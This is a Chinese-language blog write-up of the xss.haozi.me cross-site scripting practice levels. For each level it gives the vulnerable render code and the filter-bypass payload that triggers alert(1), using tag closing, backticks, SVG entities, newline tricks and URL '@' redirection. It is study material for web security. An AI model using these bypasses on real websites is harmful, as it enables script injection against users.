xss学习

本文详细记录了在XSS练习平台上遇到的各种过滤和限制,以及对应的绕过方法,包括使用js文件、标签属性、特殊字符编码等方式执行payload,展示了XSS攻击的实战技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

学习小结

- 一般做题思路就是闭合题目给出的函数来完成我们的弹窗
- 反引号可以替换圆括号
- <svg>标签中可以直接执行实体字符。
<svg><script>alert&#40;1&#41;</script>
- 换行可以绕过正则
- 可以利用onclick,onmouseover等事件进行弹窗如:onclick=alert(1),onmouseover=alert(1)
- 可以用换行来绕过“/ /- <!-- --><!-- --!>作用一样可以用来处理一些闭合问题
- <!---->都可以在html的script标签里单独使用进行单行注释
- ſ 符号转换为大写后正好为大写字母 S

xss练习平台:https://xss.haozi.me
过关方法:可以执行alert(1)
包含alert(1)的js文件地址:https://xss.haozi.me/j.js
0x00

function render (input) {
  return '<div>' + input + '</div>'
}

没有过滤或其他的直接输入payload:

<script>alert(1)</script>

0x01

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

<textarea>是禁止弹窗利用</textarea>闭合它就可以了payload:

</textarea><script>alert(1)</script>

0x02

function render (input) {
  return '<input type="name" value="' + input + '">'
}

输入的位置在尖括号里面所以先闭合尖括号payload:

"><script>alert(1)</script>

0x03

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

过滤了圆括号,可以用反引号来代替payload:

<script>alert`1`</script>

0x04

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

过滤了圆括号和反引号可以利用<svg>标签来操作payload:

<svg><script>alert&#40;1&#41;</script>

0x05

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

这里他把- ->替换成了😂,但是闭合<!- -还可以用- -!>效果一样 payload:

--!><script>alert(1)</script>

0x06

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

过滤了auto,on和=,并且会被替换成 '_'这里利用换行来绕过正则,源码是type=“text”,文本格式无法执行,所以利用type=“image”进行绕过payload:

type="image" src onerror
=alert(1)

看到别的师傅的wp有用onmousemove 事件属性绕过,但是我尝试了不行,可能是姿势不对,大家有兴趣可以自己尝试一下payload:

   onmousemove
    =alert(1)

0x07

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

正则匹配了以< >开头结尾的标签并把他们替换为空,利用浏览器的容错性可以不写> payload:

<body onload="alert(1)" //这里有一个回车或空格

0x08

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

</style>标签替换成\u574F\u4EBA ,我们没办法实现直接闭合此标签,需要回车或者加空格来绕过payload:

</style
><script>alert(1)</script>

0x09

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

这里必须是以https://www.segmentfault.com开头,然后用</script>闭合标签,再写入我们的事件,payload:

https://www.segmentfault.com"></script><svg/onload=alert(1)>

在这里插入图片描述

0x0A

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

过滤了<>"等这里就用到前面的js包含了,利用URL的@特性,例如我们访问http://www.baidu.com@1.1.2.3这里就会访问http://1.1.2.3,过滤后的html实体编码在html标签属性值中无影响,直接解析payload:

https://www.segmentfault.com@xss.haozi.me/j.js

0x0B 和0X0C还有0x0E没有复现出来就不写了(太菜了┭┮﹏┭┮。。)

0x0D

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

过滤了</,没办法闭合<script>标签,不过可以利用- ->注释掉后面的,回车绕过’ // 'payload:

(这里是一个回车)
alert(1)
-->

0x0F

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

看着过滤了这么多其实都没什么用,因为是在<img 标签内html实体编码是可以被解析的所以直接闭合前后的就可payload:

');alert(1)//   或者  ');alert(1)('

0x10

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

因为没有任何过滤直接写入即可payload:

alert(1)

0x11

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

反斜杠"被转义成\"正好可以闭合console.log("\")payload:

");alert(1)//

0x12

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

直接闭合</script>然后写入payload:

</script><script>alert(1)</script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值